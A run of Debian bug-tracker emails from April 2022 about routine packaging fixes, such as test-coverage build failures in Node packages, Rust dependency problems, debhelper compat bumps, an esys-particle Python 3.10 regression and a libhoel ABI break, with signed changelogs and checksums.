Processed: Bug#1009530 marked as pending in node-arrify
Processing control commands: > tag -1 pending Bug #1009530 [src:node-arrify] node-arrify: FTBFS: ERROR: Coverage for statements (90.9%) does not meet global threshold (100%) Added tag(s) pending. -- 1009530: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009530 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009530: marked as pending in node-arrify
Control: tag -1 pending Hello, Bug #1009530 in node-arrify reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-arrify/-/commit/549c9701aa858c86516022faaf99fb3890d021d7 Fix test for tap >= 15 (--no-cov) Closes: #1009530 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009530
Processed: Bug#1009571 marked as pending in node-call-limit
Processing control commands: > tag -1 pending Bug #1009571 [src:node-call-limit] node-call-limit: FTBFS: ERROR: Coverage for statements (83.58%) does not meet global threshold (100%) Added tag(s) pending. -- 1009571: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009571 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009571: marked as pending in node-call-limit
Control: tag -1 pending Hello, Bug #1009571 in node-call-limit reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-call-limit/-/commit/465211ef07ee26d592be78b97e1d442bc689b14f Fix test for tap >= 15 Closes: #1009571 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009571
Bug#1009545: marked as pending in node-jsonstream
Control: tag -1 pending Hello, Bug #1009545 in node-jsonstream reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-jsonstream/-/commit/c7a267bdddc7ce1b8c185cf5a18982ea59db90ad Fix test for tap >= 15 (--no-cov) Closes: #1009545 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009545
Processed: Bug#1009545 marked as pending in node-jsonstream
Processing control commands: > tag -1 pending Bug #1009545 [src:node-jsonstream] node-jsonstream: FTBFS: ERROR: Coverage for statements (50.89%) does not meet global threshold (100%) Added tag(s) pending. -- 1009545: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009545 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009204: vdirsyncer: diff for NMU version 0.18.0-6.1
> I've prepared an NMU for vdirsyncer (versioned as 0.18.0-6.1) and > uploaded it to DELAYED/2. Please feel free to tell me if I > should delay it longer. As a team member, feel free to reschedule this to 0-day. I've merged your git tree. SR -- Stefano Rivera http://tumbleweed.org.za/ +1 415 683 3272
Bug#1009240: marked as done (esys-particle: autopkgtest regression since rebuild for python3.10 as default)
Your message dated Tue, 19 Apr 2022 03:33:51 + with message-id and subject line Bug#1009240: fixed in esys-particle 2.3.5+dfsg2-4.1 has caused the Debian Bug report #1009240, regarding esys-particle: autopkgtest regression since rebuild for python3.10 as default to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1009240: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009240 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: esys-particle Version: 2.3.5+dfsg2-4 Severity: serious User: debian...@lists.debian.org Usertags: regression Dear maintainer(s), We're in the transition of making python3.10 the default python3. For that reason, esys-particle was binNMUd. Since that rebuild, the autopkgtest of esys-particle fails. Worse, it doesn't end by itself but it times out after 2:47 hours. More information about this bug and the reason for filing it can be found on https://wiki.debian.org/ContinuousIntegration/RegressionEmailInformation Paul https://ci.debian.net/packages/e/esys-particle/ https://ci.debian.net/data/autopkgtest/unstable/amd64/e/esys-particle/20729937/log.gz autopkgtest [11:58:06]: test build1: [--- CSubLatticeControler::initMPI() CSubLatticeControler::initMPI() Traceback (most recent call last): File "/tmp/tmp.T1uadp7i2M/compression.py", line 1, in from esys.lsm import * ModuleNotFoundError: No module named 'esys' autopkgtest [14:44:47]: ERROR: timed out on command "su -s /bin/bash debci -c set -e; export USER=`id -nu`; . /etc/profile >/dev/null 2>&1 || true; . ~/.profile >/dev/null 2>&1 || true; buildtree="/tmp/autopkgtest-lxc.fkyhw166/downtmp/build.30O/src"; mkdir -p -m 1777 -- "/tmp/autopkgtest-lxc.fkyhw166/downtmp/build1-artifacts"; export AUTOPKGTEST_ARTIFACTS="/tmp/autopkgtest-lxc.fkyhw166/downtmp/build1-artifacts"; export ADT_ARTIFACTS="$AUTOPKGTEST_ARTIFACTS"; mkdir -p -m 755 "/tmp/autopkgtest-lxc.fkyhw166/downtmp/autopkgtest_tmp"; export AUTOPKGTEST_TMP="/tmp/autopkgtest-lxc.fkyhw166/downtmp/autopkgtest_tmp"; export ADTTMP="$AUTOPKGTEST_TMP"; export DEBIAN_FRONTEND=noninteractive; export LANG=C.UTF-8; export DEB_BUILD_OPTIONS=parallel=2; unset LANGUAGE LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT LC_IDENTIFICATION LC_ALL;rm -f /tmp/autopkgtest_script_pid; set -C; echo $$ > /tmp/autopkgtest_script_pid; set +C; trap "rm -f /tmp/autopkgtest_script_pid" EXIT INT QUIT PIPE; cd "$buildtree"; chmod +x /tmp/autopkgtest-lxc.fkyhw166/downtmp/build.30O/src/debian/tests/build1; touch /tmp/autopkgtest-lxc.fkyhw166/downtmp/build1-stdout /tmp/autopkgtest-lxc.fkyhw166/downtmp/build1-stderr; /tmp/autopkgtest-lxc.fkyhw166/downtmp/build.30O/src/debian/tests/build1 2> >(tee -a /tmp/autopkgtest-lxc.fkyhw166/downtmp/build1-stderr >&2) > >(tee -a /tmp/autopkgtest-lxc.fkyhw166/downtmp/build1-stdout);" (kind: test) autopkgtest [14:44:47]: test build1: ---] OpenPGP_signature Description: OpenPGP digital signature --- End Message --- --- Begin Message --- Source: esys-particle Source-Version: 2.3.5+dfsg2-4.1 Done: Stefano Rivera We believe that the bug you reported is fixed in the latest version of esys-particle, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 1009...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Stefano Rivera (supplier of updated esys-particle package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Wed, 13 Apr 2022 21:24:02 -0400 Source: esys-particle Architecture: source Version: 2.3.5+dfsg2-4.1 Distribution: unstable Urgency: medium Maintainer: Debian Science Maintainers Changed-By: Stefano Rivera Closes: 1009240 Changes: esys-particle (2.3.5+dfsg2-4.1) unstable; urgency=medium . * Non-maintainer upload. * Patch: Don't call Py_Initialize() before Py_Main(), fixing sys.path on Python 3.10. (Closes: #1009240) Checksums-Sha1: 6064a839f04e631f22fad7b56db273d3df00597f 1779 esys-particle_2.3.5+dfsg2-4.1.dsc 61f4e1d4402e740224c70ad2d98d6370648a52d1 567148
Bug#981822: marked as done (librust-bytemuck-dev: Depends: librust-bytemuck-derive-1+default-dev but it is not installable)
Your message dated Tue, 19 Apr 2022 03:19:34 + with message-id and subject line Bug#981822: fixed in rust-bytemuck 1.9.1-1 has caused the Debian Bug report #981822, regarding librust-bytemuck-dev: Depends: librust-bytemuck-derive-1+default-dev but it is not installable to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 981822: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=981822 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: librust-bytemuck-dev Version: 1.4.1-1 Severity: serious The following packages have unmet dependencies: librust-bytemuck-dev : Depends: librust-bytemuck-derive-1+default-dev but it is not installable --- End Message --- --- Begin Message --- Source: rust-bytemuck Source-Version: 1.9.1-1 Done: Peter Michael Green We believe that the bug you reported is fixed in the latest version of rust-bytemuck, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 981...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Peter Michael Green (supplier of updated rust-bytemuck package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Mon, 18 Apr 2022 21:00:55 + Source: rust-bytemuck Architecture: source Version: 1.9.1-1 Distribution: unstable Urgency: medium Maintainer: Debian Rust Maintainers Changed-By: Peter Michael Green Closes: 981822 Changes: rust-bytemuck (1.9.1-1) unstable; urgency=medium . * Team upload. * Package bytemuck 1.9.1 from crates.io using debcargo 2.5.0 * Disable derive feature, it can be re-enabled if/when the bytemuck_derive crate is packaged (Closes: 981822). Checksums-Sha1: 4eac9e70e61eabc93a21c61ff2b9af3f69680287 2145 rust-bytemuck_1.9.1-1.dsc be9f0816185a345263aeda068ef00a1ecc2489ec 34517 rust-bytemuck_1.9.1.orig.tar.gz 4f5655b22303ee9f8c235fa7594b9bffd7c7ca7e 3712 rust-bytemuck_1.9.1-1.debian.tar.xz 6a37ea39b2729a2326bd6e51828af421d8d04f1a 6831 rust-bytemuck_1.9.1-1_source.buildinfo Checksums-Sha256: 8c6379ebcce936afbfac5aadd564584e4d1920de5ff5910fd4016cf09764647e 2145 rust-bytemuck_1.9.1-1.dsc cdead85bdec19c194affaeeb670c0e41fe23de31459efd1c174d049269cf02cc 34517 rust-bytemuck_1.9.1.orig.tar.gz e590c0a985eabfce032d7ccefebf4a174d18a81c34effb713abda4ad5a38f224 3712 rust-bytemuck_1.9.1-1.debian.tar.xz 6dfe04a7d3ee05eefe18b9f3444b97300cbc07def067682ec075f77ab7bf7567 6831 rust-bytemuck_1.9.1-1_source.buildinfo Files: 3e1620f69fccda24cfb1e5e212ab3b07 2145 rust optional rust-bytemuck_1.9.1-1.dsc b97237f68aaea0dcce7275c08aed1072 34517 rust optional rust-bytemuck_1.9.1.orig.tar.gz 8975fa28052889a5880397c38389fe36 3712 rust optional rust-bytemuck_1.9.1-1.debian.tar.xz 3e60b3466805f17885cbf5e8a1865399 6831 rust optional rust-bytemuck_1.9.1-1_source.buildinfo -BEGIN PGP SIGNATURE- iQJIBAEBCAAyFiEEU0DQATYMplbjSX63DEjqKnqP/XsFAmJeJJwUHHBsdWd3YXNo QGRlYmlhbi5vcmcACgkQDEjqKnqP/Xv+mQ/+KefkY9bIkibgRIx4irH1ZGitQwMB A6G+52hwtIGMgChb2F45IIbMXoWeIkdhiGD7V8/MTVzOJmhA0K+oE7EOcSujuAKj l8B/HWrTr6mM42Kh128CXtfVraEeCgKPBum041Ea4iXy/hI/tm11awmMFhbPWFxa 5DaZa5CGZ+bwmXHxOz0X0mZUzHzspKNOMpqUSwl8EgfCyhdeQLZcKAowyaWXDdPJ ZP1jTHOuBEcnSpoOGliM2ZLbvHgfVBzkWH1sbUosDDZwu7r6lnXcSphRw98ZD7W2 pLnXm6Ldj+1pGiI4tRvIUEzQgjDoXkQabFgyi1M+TmlvKV10TvCT8uxRZNREOcRw ZlcDgA3/BayJYVa+Ck2mxtxYzdK/yLzG5asmCPJtteEQGT6Ot5HKjLmU8LYCAED0 8Sf2BAH2oO3xVEPd1AFg9k4HSVlfZ/9bzwy0RpTLDWmhXAab27z+iWBnxJ9pmv1r TWRaBhOB1ygZ7ZEWVoNUKDf8aCaJckdPHxQpQbAdWhA9mFF9eUFaZniBaLvEN+xb XsKR7myWHYLdnl/C4nYFp+/LzPoLomxpSiIc0pO7TGEcejIJnedGwBf1I+Q/8Qj+ +u2+99ZgPysDcM0MmrSxfbGFRnxuOI49wK4QHLUey87uUtgy3JpF7QgoUuyur7P4 XIqyhWKHE32Wc1c= =uHNg -END PGP SIGNATURE End Message ---
Bug#974117: marked as done (rust-image: FTBFS build-depends on librust-tiff-0.3+default-dev)
Your message dated Tue, 19 Apr 2022 03:19:54 + with message-id and subject line Bug#974117: fixed in rust-image 0.23.14-1 has caused the Debian Bug report #974117, regarding rust-image: FTBFS build-depends on librust-tiff-0.3+default-dev to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 974117: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=974117 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: rust-image Version: 0.22.1-2 Severity: serious User: trei...@debian.org Usertags: edos-uninstallable Hi, rust-image build-depends on librust-tiff-0.3+default-dev, but no such package exists in sid (or in the NEW queue). Maybe this should be librust-tiff-dev ? -Ralf. --- End Message --- --- Begin Message --- Source: rust-image Source-Version: 0.23.14-1 Done: Peter Michael Green We believe that the bug you reported is fixed in the latest version of rust-image, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 974...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Peter Michael Green (supplier of updated rust-image package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Tue, 19 Apr 2022 02:42:11 + Source: rust-image Architecture: source Version: 0.23.14-1 Distribution: unstable Urgency: medium Maintainer: Debian Rust Maintainers Changed-By: Peter Michael Green Closes: 974117 Changes: rust-image (0.23.14-1) unstable; urgency=medium . * Team upload. * Package image 0.23.14 from crates.io using debcargo 2.4.2 * Adjust dependencies to match packages available in Debian (Closes: 974117) * Apply upstream patch to fix tests with rust-quickcheck 1.x * Disable benches that rely on rust-criterion and remove it from dev-dependencies since it is not in Debian. * Reduce the number of optional dependencies to avoid introducing new binary packages. Checksums-Sha1: 746f66ee7ceaf4c10a7b29867fd2ec707832100f 3532 rust-image_0.23.14-1.dsc a0b24e728ef266adb97c8cb569b7f91348d5742b 226804 rust-image_0.23.14.orig.tar.gz 617375f2aff660c1c9509e2b8d902da326b004e6 8036 rust-image_0.23.14-1.debian.tar.xz 39e0e30bd4499116b12124c27913eae98e502014 9594 rust-image_0.23.14-1_source.buildinfo Checksums-Sha256: baf842a1f4ea23fd4eff817869865a5f981cae8c66ade563b690b12d8711b2c6 3532 rust-image_0.23.14-1.dsc 24ffcb7e7244a9bf19d35bf2883b9c080c4ced3c07a9895572178cdb8f13f6a1 226804 rust-image_0.23.14.orig.tar.gz 7f8a2daba3bde140a7afdd0b6e8d4101e3250b2f322de39003dab2368660389e 8036 rust-image_0.23.14-1.debian.tar.xz 8cff279c284a7cb97b3beb60f49daab89e8fe864ac81f332fbc9c6a1fe4f9559 9594 rust-image_0.23.14-1_source.buildinfo Files: cc4b30eb792fa3af11e5ce99841d8351 3532 rust optional rust-image_0.23.14-1.dsc 09d4c06e222b32157e3f58bc533c966a 226804 rust optional rust-image_0.23.14.orig.tar.gz 79eaa9be4718479bb939ab8c10b76816 8036 rust optional rust-image_0.23.14-1.debian.tar.xz 027b1ca752fe74aac90617844fb4362d 9594 rust optional rust-image_0.23.14-1_source.buildinfo -BEGIN PGP SIGNATURE- iQJIBAEBCAAyFiEEU0DQATYMplbjSX63DEjqKnqP/XsFAmJeJRIUHHBsdWd3YXNo QGRlYmlhbi5vcmcACgkQDEjqKnqP/XtZUg//TmaCOUAsC4uET+wlCJql+wufb4b1 uZOSMQxuHJWQv9TyGjmjlKl6SbzN9G6E10SzShAMeQMzVtomejjD3lOdRqb7r3o8 VxlxLQ7xrh4qd0ipmZVTGhZv8XgitO+Lhv4Goi+Ob1XoRGocCrV0Afwchdyl6odg iYxkOYpl+mMOXKOR8Zpdm3XvhcsUIxdLb0dpDM5A9a3aNPHkpwpwgXwTiavx3PAY 2PSkuddc9wqaEcUoLIA9Rxub0wODWR3gECJv6Qgv6y3/47vNJKu0XhAZJdte+K3Z DS+iGpqpQrzSxUc1YNyAT7AMmLMj8KJA9lqQlc85LL7GGekJYymNOL1HQLW8uFja +WvAwxtTReZCCNTqs85OlrHu9rKHyr9uhnYEp+UbDeDltOmjZwlEIvpWintZrK/R 4u92Qcu1wvZcdsvSN9SulcEPLYmBBWtiA7qfi+jffLq5i2YWfSD4DXYAK0pRdBYz i6HK7N7RaxhQ7cUVQMXZeT60jHypoT7kGlGS7N7W0GL8BmMoDzpdPTEfGuTmBwZf /s5dd3CmT7Vr6xyNXoOx+LNpz6OSEJtNSvVfLVm17MelbjQnjwRQ+nLLs+5GssQG 7/HRGK//yP6vAlFD0R5qqtnpC3Fzc8TFXqv7m4jkO/DCIoeztuwpIvG/Yf36TDsq Ngvj0QZjX0/hOw8= =22QL -END PGP SIGNATURE End Message ---
Bug#999034: squidtaild: diff for NMU version 2.1a6-6.2
Control: tags 999034 + patch Control: tags 999034 + pending Dear maintainer, I've prepared an NMU for squidtaild (versioned as 2.1a6-6.2) and uploaded it to DELAYED/22. Please feel free to tell me if I should delay it longer. Regards. diff -Nru squidtaild-2.1a6/debian/changelog squidtaild-2.1a6/debian/changelog --- squidtaild-2.1a6/debian/changelog 2021-01-05 09:18:12.0 -0300 +++ squidtaild-2.1a6/debian/changelog 2022-04-18 20:56:26.0 -0300 @@ -1,3 +1,11 @@ +squidtaild (2.1a6-6.2) unstable; urgency=medium + + * Non-maintainer upload. + * debian/rules: added missing targets build-arch and build-indep. +(Closes: #999034) + + -- Guilherme de Paula Xavier Segundo Mon, 18 Apr 2022 20:56:26 -0300 + squidtaild (2.1a6-6.1) unstable; urgency=medium * Non maintainer upload by the Reproducible Builds team. signature.asc Description: PGP signature
Processed: squidtaild: diff for NMU version 2.1a6-6.2
Processing control commands: > tags 999034 + patch Bug #999034 [src:squidtaild] squidtaild: missing required debian/rules targets build-arch and/or build-indep Added tag(s) patch. > tags 999034 + pending Bug #999034 [src:squidtaild] squidtaild: missing required debian/rules targets build-arch and/or build-indep Added tag(s) pending. -- 999034: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=999034 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009769: libhoel1.4: ABI break: h_exec_query_sqlite was dropped
He Andreas, thanks for the feedback! Le 2022-04-17 à 10 h 42, Andreas Metzler a écrit : Yes, a rebuild will get a binary which works against the new library, however (partial) upgrades from bookworm won't work. BTW, the symbol file seems to be wrong: | h_execute_query_sqlite@Base 1.4.15 the symbol is not available in 1.4.15, so the rebuilt glewlwyd would depend on the libhoel1.4 (>= 1.14) instead of >= 1.18. You're right, thanks I think the first step would be to talk to upstream. One should not break the ABI of a shraed library without need, when it must be done it should happen properly with a soname bump. Since I'm the upstream, I can fix that with a new version, and I'll try to forget my shame... ;-) My bad, I thought using a #define for backward compatibility was enough, I didn't think about ABI break... Afaict libhoel1.4 has only got glewlwyd as reverse depends? As plan B if upstream is unwilling you could either patch libhoel (with the downside that it would not be cross distribution compatible) or simply make two new sourceful uploads, with a) let new libhoel1.4 Breaks: glewlwyd (<= 2.6.2-2~) and have a fixed symbol file. and b) glewlwyd Build-Depend-ing on libhoel-dev >= 1.18-2 to get the correct Depends on libhoel1.4 (>= 1.18-2). I'll fix the packages then, thanks for the help! /Nicolas
Bug#999095: marked as done (clif: missing required debian/rules targets build-arch and/or build-indep)
Your message dated Tue, 19 Apr 2022 01:18:47 + with message-id and subject line Bug#999095: fixed in clif 0.93-9.2 has caused the Debian Bug report #999095, regarding clif: missing required debian/rules targets build-arch and/or build-indep to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 999095: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=999095 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: clif Version: 0.93-9.1 Severity: important Justification: Debian Policy section 4.9 Tags: bookworm sid User: debian...@lists.debian.org Usertags: missing-build-arch-indep Dear maintainer, Your package does not include build-arch and/or build-indep targets in debian/rules. This is required by Debian Policy section 4.9, since 2012. https://www.debian.org/doc/debian-policy/ch-source.html#main-building-script-debian-rules Please note that this is also a sign that the packaging of this software could benefit from a refresh. For example, packages using 'dh' cannot be affected by this issue. This mass bug filing was discussed on debian-devel@ in https://lists.debian.org/debian-devel/2021/11/msg00052.html . The severity of this bug will be changed to 'serious' after a month. Best, Lucas --- End Message --- --- Begin Message --- Source: clif Source-Version: 0.93-9.2 Done: Joao Eriberto Mota Filho We believe that the bug you reported is fixed in the latest version of clif, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 999...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Joao Eriberto Mota Filho (supplier of updated clif package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Sat, 16 Apr 2022 21:29:06 -0300 Source: clif Architecture: source Version: 0.93-9.2 Distribution: unstable Urgency: medium Maintainer: Sam Hocevar Changed-By: Joao Eriberto Mota Filho Closes: 965462 999095 Changes: clif (0.93-9.2) unstable; urgency=medium . * Non-maintainer upload. * Using new DH level format. Consequently: - debian/compat: removed. - debian/control: changed from 'debhelper' to 'debhelper-compat' in Build-Depends field and bumped level to 13. - debian/rules: using 'dh_prep' instead of 'dh_clean -k' because the '-k' option is not supported since compat 12. - Closes: #965462 * debian/rules: added missing targets build-arch and build-indep. (Closes: #999095) Checksums-Sha1: de3065aec15a9200f6f59a93fd55b7465f894f80 1683 clif_0.93-9.2.dsc 16be53f2f8985dbe2594aa7f5f33ba4d952e16ba 19740 clif_0.93-9.2.debian.tar.xz a5d8d49e33e36f0cb372e214a65435cded9298de 7586 clif_0.93-9.2_source.buildinfo Checksums-Sha256: 82f5e8b070e88451a89078444e9f2d5c3d2471a32f32d47edfe4785449a3ffc3 1683 clif_0.93-9.2.dsc e445f2c960cb65cfcf2f82e4ccce93a29ad2ff283f34c9f63e250bf349693be6 19740 clif_0.93-9.2.debian.tar.xz 6c5f90736711d64a3546aac63e00adcdfcb37b38de8f11e4f80b78c838c894ee 7586 clif_0.93-9.2_source.buildinfo Files: d547d0ff62e683719c7eb1195cd76321 1683 interpreters optional clif_0.93-9.2.dsc 5adee7575d89439280aa8f2361a6ae87 19740 interpreters optional clif_0.93-9.2.debian.tar.xz 4380737d62b18da46cb3ed560d8c2ffc 7586 interpreters optional clif_0.93-9.2_source.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEENX3LDuyVoBrrofDS3mO5xwTr6e8FAmJbY7sACgkQ3mO5xwTr 6e/EvA/9EX8NbyX0aHOcZ2F9ceABpoCKIhVX6hOoQP/NxUS4RQpFdmR0vKMAewpe BfT/F6GyPfr4+sf36eWbEqDtcO9oUO94HdKhOcvb627GIP2cXXlRjSXKa8q0EMob n4Tokv38RE5oJL4w6371pSH++o8gLPtG1+OdYGydJJV/qa9MfmYeAkifQL4mh/u0 yhIGcTS498zKZ+Rudjjf5K+mj37HO1/WLaz5F0z3DviRJY5Tq9bLWJxuJmepX+B6 m9R3Df6JB0ROwr2Wef8lLgGQ7uVa71GI+jWU6gaD9oSVLZ4KLkjmTVCwDeZnBfTL abXqybmRz9cPyJHDXoNyPdo012wbDY2HluzdnC2yHAfcwUz+nEIwZSocds5mvW2b EXKAGuatMeSZuHYoHNv+kBoadQGyRpaFlHhDJG8VZNZtErTGh7OgIH1qoCKCcQ75 BJ6wY0SGvatHWV8GCPkh1/KfW6+oXOmmIrp98rjt5l7Vhccfz+y4qUOCM8KJ9B1H RmYgQZgkG26e729CTL5PihCBii+hfv9Zo32QiQ9ely/lVPI6zlV3ojxyPf1XoKBz 8m7CVdjGWtkA6YqUwYpL9JahxNtwHFA92OZIRqKZl46h02zrlGHS5BId8iphjYV6 YWOVsXWU4jbQ0m+66LseVpJY1aAT067KgLFQY0VaHGj4zA5S+CM= =qmq+ -END PGP SIGNATURE End Message ---
Bug#965462: marked as done (clif: Removal of obsolete debhelper compat 5 and 6 in bookworm)
Your message dated Tue, 19 Apr 2022 01:18:47 + with message-id and subject line Bug#965462: fixed in clif 0.93-9.2 has caused the Debian Bug report #965462, regarding clif: Removal of obsolete debhelper compat 5 and 6 in bookworm to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 965462: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965462 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: clif Version: 0.93-9.1 Severity: normal Usertags: compat-5-6-removal Hi, The package clif uses debhelper with a compat level of 5 or 6, which is deprecated and scheduled for removal[1]. Please bump the debhelper compat at your earliest convenience /outside the freeze/! * Compat 13 is recommended (supported in stable-backports) * Compat 7 is the bare minimum PLEASE KEEP IN MIND THAT the release team *DOES NOT* accept uploads with compat bumps during the freeze. If there is any risk that the fix for this bug might not migrate to testing before 2021-01-01[3] then please postpone the fix until after the freeze. At the time of filing this bug, compat 5 and 6 are expected to be removed "some time during the development cycle of bookworm". Thanks, ~Niels [1] https://lists.debian.org/debian-devel/2020/07/msg00065.html [2] https://release.debian.org/bullseye/FAQ.html [3] The choice of 2021-01-01 as a "deadline" is set before the actual freeze deadline to provide a safe cut off point for most people. Mind you, it is still your responsibility to ensure that the upload makes it into testing even if you upload before that date. --- End Message --- --- Begin Message --- Source: clif Source-Version: 0.93-9.2 Done: Joao Eriberto Mota Filho We believe that the bug you reported is fixed in the latest version of clif, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 965...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Joao Eriberto Mota Filho (supplier of updated clif package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Sat, 16 Apr 2022 21:29:06 -0300 Source: clif Architecture: source Version: 0.93-9.2 Distribution: unstable Urgency: medium Maintainer: Sam Hocevar Changed-By: Joao Eriberto Mota Filho Closes: 965462 999095 Changes: clif (0.93-9.2) unstable; urgency=medium . * Non-maintainer upload. * Using new DH level format. Consequently: - debian/compat: removed. - debian/control: changed from 'debhelper' to 'debhelper-compat' in Build-Depends field and bumped level to 13. - debian/rules: using 'dh_prep' instead of 'dh_clean -k' because the '-k' option is not supported since compat 12. - Closes: #965462 * debian/rules: added missing targets build-arch and build-indep. (Closes: #999095) Checksums-Sha1: de3065aec15a9200f6f59a93fd55b7465f894f80 1683 clif_0.93-9.2.dsc 16be53f2f8985dbe2594aa7f5f33ba4d952e16ba 19740 clif_0.93-9.2.debian.tar.xz a5d8d49e33e36f0cb372e214a65435cded9298de 7586 clif_0.93-9.2_source.buildinfo Checksums-Sha256: 82f5e8b070e88451a89078444e9f2d5c3d2471a32f32d47edfe4785449a3ffc3 1683 clif_0.93-9.2.dsc e445f2c960cb65cfcf2f82e4ccce93a29ad2ff283f34c9f63e250bf349693be6 19740 clif_0.93-9.2.debian.tar.xz 6c5f90736711d64a3546aac63e00adcdfcb37b38de8f11e4f80b78c838c894ee 7586 clif_0.93-9.2_source.buildinfo Files: d547d0ff62e683719c7eb1195cd76321 1683 interpreters optional clif_0.93-9.2.dsc 5adee7575d89439280aa8f2361a6ae87 19740 interpreters optional clif_0.93-9.2.debian.tar.xz 4380737d62b18da46cb3ed560d8c2ffc 7586 interpreters optional clif_0.93-9.2_source.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEENX3LDuyVoBrrofDS3mO5xwTr6e8FAmJbY7sACgkQ3mO5xwTr 6e/EvA/9EX8NbyX0aHOcZ2F9ceABpoCKIhVX6hOoQP/NxUS4RQpFdmR0vKMAewpe BfT/F6GyPfr4+sf36eWbEqDtcO9oUO94HdKhOcvb627GIP2cXXlRjSXKa8q0EMob n4Tokv38RE5oJL4w6371pSH++o8gLPtG1+OdYGydJJV/qa9MfmYeAkifQL4mh/u0 yhIGcTS498zKZ+Rudjjf5K+mj37HO1/WLaz5F0z3DviRJY5Tq9bLWJxuJmepX+B6 m9R3Df6JB0ROwr2Wef8lLgGQ7uVa71GI+jWU6gaD9oSVLZ4KLkjmTVCwDeZnBfTL abXqybmRz9cPyJHDXoNyPdo012wbDY2HluzdnC2yHAfcwUz+nEIwZSocds5mvW2b EXKAGuatMeSZuHYoHNv+kBoadQGyRpaFlHhDJG8VZNZtErTGh7OgIH1qoCKCcQ75
Processed: xvier: diff for NMU version 1.0-7.7
